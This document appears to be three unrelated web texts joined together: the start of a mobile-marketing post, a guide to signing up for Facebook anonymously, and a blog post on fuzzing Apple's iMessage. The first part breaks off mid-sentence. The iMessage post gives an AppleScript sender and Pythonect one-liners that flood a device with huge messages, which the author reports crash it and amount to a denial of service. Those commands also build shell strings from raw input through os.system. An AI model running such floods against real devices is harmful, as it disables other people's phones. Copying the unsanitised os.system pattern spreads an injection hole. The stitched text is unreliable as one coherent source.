#mobilesms

Why you should Consider Mobile Marketing for your Business in 2022

The mobile marketing landscape is constantly evolving, and the future of this channel appears promising. According to data from Statista, worldwide spending on mobile advertising is expected to reach almost $84 billion in 2022. In this blog post, we’ll explore why you should consider mobile SMS

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Facebook is now the most popular social network in the world. It is a platform which helps connect people with different interests, ethnic groups, and from different countries. It doesn’t matter whether the people connected on Facebook have ever met physically. No matter which country you are living in, the use of Facebook is so prevalent that it is unavoidable. However, what happens if you leave Facebook unchecked? How much data has Facebook gathered on you so far? What happens if you want to keep using Facebook, but keep your private information? It is possible. This article will provide you tips on signing up Facebook anonymously without using any of your private information.

Signing-up for Facebook Anonymously:

If you are new to the social media world, what better would it be than to start your online chatting and connecting with different people on the net by registering yourself on Facebook. A simple sign-up process will land you to the world of happiness and might become a reason to bring loads of opportunities for your future.

Just remember, Facebook doesn’t allow you to create multiple Facebook accounts for one individual. You’re only allowed to have one Facebook account, so bear that in mind. In order to register for Facebook, they require you to provide alarmingly personal credentials, like name, place of birth, date of birth, and other details. Not only are they asking you for all your personal information, they want to verify that it is indeed you! How do they do this? Facebook will require that you input your mobile phone number when you register for an account.

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Awhile ago I came across a post about fuzzing with a new data flow language called Pythonect.  When I read about it I thought it sounded like a pretty nifty language so I decided to try using it to fuzz the iMessage interface in the iOS Messages app.

The first part of this task is to come up with a way to send messages to an iOS device using the iMessage service.  Luckily the new Messages app on OS X 10.8 has support for AppleScript and you can send messages through it.

#!/usr/bin/osascript on run argv set theMessage to (item 1 of argv) tell application "Messages" send theMessage to buddy "BUDDY_NAME" end tell end run

In this script we tell the Messages application to send a message that was given as an argument to the buddy BUDDY_NAME.  When you use it be sure to replace BUDDY_NAME with the correct buddy name you are using.  Also, I saved the script and named it send_msg.

From here it's quite easy to use Pythonect to do some fuzzing.  For example, the following script will send groups of 4 and 8 A's, B's, C's, and D's.

['A', 'B', 'C', 'D'] -> [_ * n for n in [4, 8]] -> os.system("./send_msg " + _)

So what else can we do with Pythonect?  Well for starters you can increase the number of characters and messages sent effectively DoSing the device.  You could also mix and match characters to see what outcome that may arrive at.

I haven't had much time to play with this but I've found that running the following command seems to crash the device.

['A', 'B', 'C', 'D', '*', '+', '\\', '/'] -> [_ * n for n in [100, 200, 500, 1000, 2000, 5000, 10000, 20000, 50000, 100000, 200000, 500000, 1000000, 2000000, 5000000]] -> os.system("./send_msg " + _)

And, this one causes the actual name of the app to be displayed.

['*'] -> os.system("./send_msg " + _)